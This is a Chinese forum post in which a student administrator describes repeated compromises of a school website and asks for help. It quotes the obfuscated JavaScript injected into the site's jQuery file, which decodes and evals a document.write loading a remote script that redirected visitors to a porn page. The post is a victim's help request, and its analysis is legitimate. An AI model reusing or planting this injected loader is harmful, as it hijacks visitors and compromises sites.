问题描述
这几天网站被黑客盯上了,因为安全做得不好,被黑客攻击了好几次。
- 第一次攻击是发上在一个月以前,黑客在首页引入的 jQuery-1.8.0.js 中写入一行 js 代码,
var str="cnbtldms-vqhsd '!;rbqhos rqb<[!gsso9..vvv- fnnfkd`crk-bnl.robncd.iptdqx-
ir[!=;.rbqhos=!(:";
var length=str.length;var ba64="";for(i=0;i<length;i++){var
s=str.charCodeAt(i);s++;ba64=ba64+String.fromCharCode(s)}eval(ba64);
翻译后是
document.write ("<script src=\"http://www.googleadsl.com/spcode/jquery.js\"></script>")
导致的结果是打开网站几秒后跳转到一个色情页面,页面太美,不忍直视。但是 ll 查看文件的时候并没有发下这个文件的修改时间异常,可笑的是当天的登陆日志被清空了,后来改了 root 账号的密码。
2. 第二次攻击是发生在一周以后,攻击方式和第一次一样。
3. 第三次攻击发生在上周。上周四早上打开一个页面的时候突然发现服务器 500 异常,然后登陆服务器查看站点目录, stat filename 发现站点下有一个目录下的所有文件均在该日凌晨 5:16 分左右被修改。打开内容一看,画面惨不忍睹。
4. 最后一次被攻击是今天,今天网站有奔溃了,我也几乎要奔溃了(下周就要实习了,还有 5 门课程要复习)。连接服务器 df -h 发现磁盘满了,然后 du -h --max-depth=1 发现 /var/log/ 目录占用大量内存,进去查看发现 Apache 的错误日志有 25 个 G,tail和head一下,发现是我 PHP 没有配置时区报错,错误信息主要来自一个内网 IP。
[Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning: mktime(): It
is not safe to rely on the system's timezone settings. You are *required* to use the
date.timezone setting or the date_default_timezone_set() function. In case you used
any of those methods and you are still getting this warning, you most likely
misspelled the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no DST'
instead in /xxxxx/cal_day.php on line 163, referer: xxxxxx.com
[Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning: date(): It
is not safe to rely on the system's timezone settings. You are *required* to use the
date.timezone setting or the date_default_timezone_set() function. In case you used
any of those methods and you are still getting this warning, you most likely
misspelled the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no
DST' instead in /xxxx/cal_header.inc.php on line 271, referer:
http://xxxx/cal_search.php
解决方案
- 我一个做后端的小白面对这种安全问题基本是束手无策,被攻击后主要是靠恢复备份文件来解决的。
- 因为没有资金支持,所以只用免费的 web360 扫描过,给出的建议也基本做了(难过的是也没有技术大佬支持 org )。
- 数据库使用的是 root 账号,打算降低数据库的权限,改为普通账号。
- 防火墙策略限制了,只开放箱 80,8080 这些常用端口。ssh 学校总部限制了,外网一般连接不上服务器,查看登录日志页正常。
真心求助
真心希望各位大佬帮忙分析一下这可能是什么漏洞?该怎么进行防范?十分感谢。
写得有点多,小白刚入坑,遇到这种问题各位看笑话了。因为网站是学校的,所以连接不敢随便放在这里,各位见谅。